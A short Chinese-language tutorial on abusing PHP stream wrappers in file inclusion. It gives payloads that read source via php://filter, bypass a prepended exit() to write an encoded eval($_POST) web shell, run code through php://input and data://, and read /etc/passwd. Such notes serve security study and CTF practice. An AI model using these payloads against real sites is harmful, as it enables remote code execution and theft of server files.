PHP伪协议
支持的伪协议
1 | file:// # 访问本地文件系统 |
php://
php://filter
php://filter可以获取指定文件源码。当它与包含函数结合时,php://filter流会被当作php文件执行。一般对其进行编码,让其不执行,从而导致任意文件读取
1 | php://filter/read=convert.base64-encode/resource=index.php #base64方式读取 |
php://filter协议绕过死亡exit
1 | # 死亡exit:在写入php代码时执行了以下函数 |
这样插入的一句话木马就不会被执行
当$content
加上<?php exit();?>
后,可以使用php://filter/write=convert.base64-decode
对其绕过
由于base64编码中不包含,;<>()
等特殊字符,因此<?php exit();?>
会变为phpexit
,但是base64编码为4byte一组,因此还需要加上任意一个字符组合,最终payload为
1 | ?filename=php://filter/convert.base64-decode/resource=1.php&content=aPD9waHAgZXZhbCgkX1BPU1RbJ2NtZCddKTs/Pg== |
php://input
php://input可以访问请求的原始数据的只读流,将post请求的数据当作php代码执行。在enctype=”multipart/form-data”的时候,php://input是无效的
1 | http://127.0.0.1/include.php?file=php://input |
data://
数据流封装器,传递相应格式的数据。与文件包含函数(include,require,include_once,require_once)相结合时用来执行php代码
1 | #include.php |
1 | http://127.0.0.1/include.php?file=data://text/plain,<?php phpinfo();?> |
file://
用于访问本地文件系统,并且不受allow_url_fopen,allow_url_include影响
主要用于访问文件(绝对路径、相对路径以及网络路径)
1 | http://127.0.0.1?file=file:///etc/passwd |